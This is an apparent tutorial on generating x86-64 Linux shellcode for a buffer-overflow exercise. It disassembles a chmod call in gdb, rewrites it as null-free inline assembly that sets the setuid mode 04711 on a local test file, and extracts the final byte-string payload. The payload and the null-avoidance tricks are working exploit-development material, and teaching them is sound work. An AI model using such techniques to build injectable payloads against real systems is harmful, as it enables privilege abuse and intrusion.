How to generate shellcode payload

Ref

Input/output:
  • Input
/*
File: mychmod.c
*/

#include <sys/stat.h>

int main() {
  chmod("/home/dvn0zz/ccppsamples/bufferOverflow/test.txt", 04711);
}
  • Output:
    char payload[] =
    "\x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x34\x48\xc1\xee\x34\x48"
    "\x31\xff\x57\x48\xbf\x74\x65\x73\x74\x2e\x74\x78\x74\x57\x48\xbf\x76\x65\x72"
    "\x66\x6c\x6f\x77\x2f\x57\x48\xbf\x2f\x62\x75\x66\x66\x65\x72\x4f\x57\x48\xbf"
    "\x70\x73\x61\x6d\x70\x6c\x65\x73\x57\x48\xbf\x6e\x30\x7a\x7a\x2f\x63\x63\x70"
    "\x57\x48\xbf\x2f\x68\x6f\x6d\x65\x2f\x64\x76\x57\x48\x89\xe7\x48\xb8\x5a\x11"
    "\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05";
    
Steps

Step1: Get input info

$ gcc -o mychmod mychmod.c
$ gdb mychmod
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004009ae <+0>:     push   %rbp
   0x00000000004009af <+1>:     mov    %rsp,%rbp
   0x00000000004009b2 <+4>:     mov    $0x9c9,%esi
   0x00000000004009b7 <+9>:     mov    $0x4a0ee8,%edi
   0x00000000004009bc <+14>:    callq  0x43f120 <chmod>
   0x00000000004009c1 <+19>:    mov    $0x0,%eax
   0x00000000004009c6 <+24>:    pop    %rbp
   0x00000000004009c7 <+25>:    retq
End of assembler dump.

(gdb) disassemble chmod
Dump of assembler code for function chmod:
   0x000000000043f120 <+0>:     mov    $0x5a,%eax
   0x000000000043f125 <+5>:     syscall
   0x000000000043f127 <+7>:     cmp    $0xfffffffffffff001,%rax
   0x000000000043f12d <+13>:    jae    0x444170 <__syscall_error>
   0x000000000043f133 <+19>:    retq
End of assembler dump.

Here we get:

  • EAX (RAX) register loaded with system call number for chmod (0x5a)
  • EDI (RDI) register loaded with address of first argument, which is filepath string ($0x4a0ee8)
  • ESI (RSI) register loaded with second argument has octal value of 04711 (0x9c9)

Step2: Mimic assembly code

To mimic setting EAX, ESI value is simple, but to set value for EDI we need put our file path string somewhere and then set address to EDI. Here we will do that by push string on stack then store RSP into EDI. Before we do that, we need convert string to hex represent and also if machine is little-endian (it is in my case) we need to change bytes order also. We will use python3 to do this task.

$ python3
>>> filepath = "/home/dvn0zz/ccppsamples/bufferOverflow/test.txt"
>>> filepath_byte_arr = bytearray(filepath.encode("ascii"))
>>> filepath_byte_arr.hex()
'2f686f6d652f64766e307a7a2f6363707073616d706c65732f6275666665724f766572666c6f772f746573742e747874'
>>> filepath_byte_arr.reverse()
>>> filepath_byte_arr.hex()
'7478742e747365742f776f6c667265764f7265666675622f73656c706d6173707063632f7a7a306e76642f656d6f682f'

Now we can set value for EDI (RDI) like this:

"xor    %rdi,%rdi\n\t"
"push   %rdi\n\t"

"mov    $0x7478742e74736574,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x2f776f6c66726576,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x4f7265666675622f,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x73656c706d617370,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x7063632f7a7a306e,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x76642f656d6f682f,%rdi\n\t"
"push   %rdi\n\t"
"mov    %rsp,%rdi\n\t"

Note: why we need first two instruction? That is because the string need be null terminated

With this we have full mimic assembly code as below:

/*
File: mychmod_asm.c
*/
int main() {
  __asm__("mov    $0x11111111111119c9,%rsi\n\t"
          "shl    $0x34,%rsi\n\t"
          "shr    $0x34,%rsi\n\t" // set RSI to 0x9c9

          "xor    %rdi,%rdi\n\t"
          "push   %rdi\n\t"

          "mov    $0x7478742e74736574,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    $0x2f776f6c66726576,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    $0x4f7265666675622f,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    $0x73656c706d617370,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    $0x7063632f7a7a306e,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    $0x76642f656d6f682f,%rdi\n\t"
          "push   %rdi\n\t"
          "mov    %rsp,%rdi\n\t" // set RDI to address of filepath string

          "mov    $0x111111111111115a,%rax\n\t"
          "shl    $0x38,%rax\n\t"
          "shr    $0x38,%rax\n\t" // set RAX to syscall number of chmod
          "syscall\n\t"

          "add    $0x38,%rsp" // pop out what are put on stack)
  );
}

Note: why when setting value for RSI/RAX we need three instruction like above? That is we dont want it to have 00 in our output payload (which is null terminated). So the trick here is, for example to set value of 0x9c9 into RSI, we set all 0 bits to 1, left shift RSI to clear those bits, then right shift RSI to get actual value.

Step3: Get shellcode payload

$ gcc -o mychmod_asm mychmod_asm.c
$ gdb mychmod_asm
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004004d6 <+0>:     push   %rbp
   0x00000000004004d7 <+1>:     mov    %rsp,%rbp
   0x00000000004004da <+4>:     movabs $0x11111111111119c9,%rsi
   0x00000000004004e4 <+14>:    shl    $0x34,%rsi
   0x00000000004004e8 <+18>:    shr    $0x34,%rsi
   0x00000000004004ec <+22>:    xor    %rdi,%rdi
   0x00000000004004ef <+25>:    push   %rdi
   0x00000000004004f0 <+26>:    movabs $0x7478742e74736574,%rdi
   0x00000000004004fa <+36>:    push   %rdi
   0x00000000004004fb <+37>:    movabs $0x2f776f6c66726576,%rdi
   0x0000000000400505 <+47>:    push   %rdi
   0x0000000000400506 <+48>:    movabs $0x4f7265666675622f,%rdi
   0x0000000000400510 <+58>:    push   %rdi
   0x0000000000400511 <+59>:    movabs $0x73656c706d617370,%rdi
   0x000000000040051b <+69>:    push   %rdi
   0x000000000040051c <+70>:    movabs $0x7063632f7a7a306e,%rdi
   0x0000000000400526 <+80>:    push   %rdi
   0x0000000000400527 <+81>:    movabs $0x76642f656d6f682f,%rdi
   0x0000000000400531 <+91>:    push   %rdi
   0x0000000000400532 <+92>:    mov    %rsp,%rdi
   0x0000000000400535 <+95>:    movabs $0x111111111111115a,%rax
   0x000000000040053f <+105>:   shl    $0x38,%rax
   0x0000000000400543 <+109>:   shr    $0x38,%rax
   0x0000000000400547 <+113>:   syscall
   0x0000000000400549 <+115>:   add    $0x38,%rsp
   0x000000000040054d <+119>:   mov    $0x0,%eax
   0x0000000000400552 <+124>:   pop    %rbp
   0x0000000000400553 <+125>:   retq
End of assembler dump.
(gdb) p (0x0000000000400549 - 0x00000000004004da)
$1 = 111
(gdb) x/111bx 0x00000000004004da
0x4004da <main+4>:      0x48    0xbe    0xc9    0x19    0x11    0x11    0x11    0x11
0x4004e2 <main+12>:     0x11    0x11    0x48    0xc1    0xe6    0x34    0x48    0xc1
0x4004ea <main+20>:     0xee    0x34    0x48    0x31    0xff    0x57    0x48    0xbf
0x4004f2 <main+28>:     0x74    0x65    0x73    0x74    0x2e    0x74    0x78    0x74
0x4004fa <main+36>:     0x57    0x48    0xbf    0x76    0x65    0x72    0x66    0x6c
0x400502 <main+44>:     0x6f    0x77    0x2f    0x57    0x48    0xbf    0x2f    0x62
0x40050a <main+52>:     0x75    0x66    0x66    0x65    0x72    0x4f    0x57    0x48
0x400512 <main+60>:     0xbf    0x70    0x73    0x61    0x6d    0x70    0x6c    0x65
0x40051a <main+68>:     0x73    0x57    0x48    0xbf    0x6e    0x30    0x7a    0x7a
0x400522 <main+76>:     0x2f    0x63    0x63    0x70    0x57    0x48    0xbf    0x2f
0x40052a <main+84>:     0x68    0x6f    0x6d    0x65    0x2f    0x64    0x76    0x57
0x400532 <main+92>:     0x48    0x89    0xe7    0x48    0xb8    0x5a    0x11    0x11
0x40053a <main+100>:    0x11    0x11    0x11    0x11    0x11    0x48    0xc1    0xe0
0x400542 <main+108>:    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05
(gdb)

Here we only need payload for instruction from <main+4> to <main+115>. Now we can copy above output into a text editor to remove extra part and get output payload as below:

char payload[] =
  "\x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x34\x48\xc1\xee\x34\x48"
  "\x31\xff\x57\x48\xbf\x74\x65\x73\x74\x2e\x74\x78\x74\x57\x48\xbf\x76\x65\x72"
  "\x66\x6c\x6f\x77\x2f\x57\x48\xbf\x2f\x62\x75\x66\x66\x65\x72\x4f\x57\x48\xbf"
  "\x70\x73\x61\x6d\x70\x6c\x65\x73\x57\x48\xbf\x6e\x30\x7a\x7a\x2f\x63\x63\x70"
  "\x57\x48\xbf\x2f\x68\x6f\x6d\x65\x2f\x64\x76\x57\x48\x89\xe7\x48\xb8\x5a\x11"
  "\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05";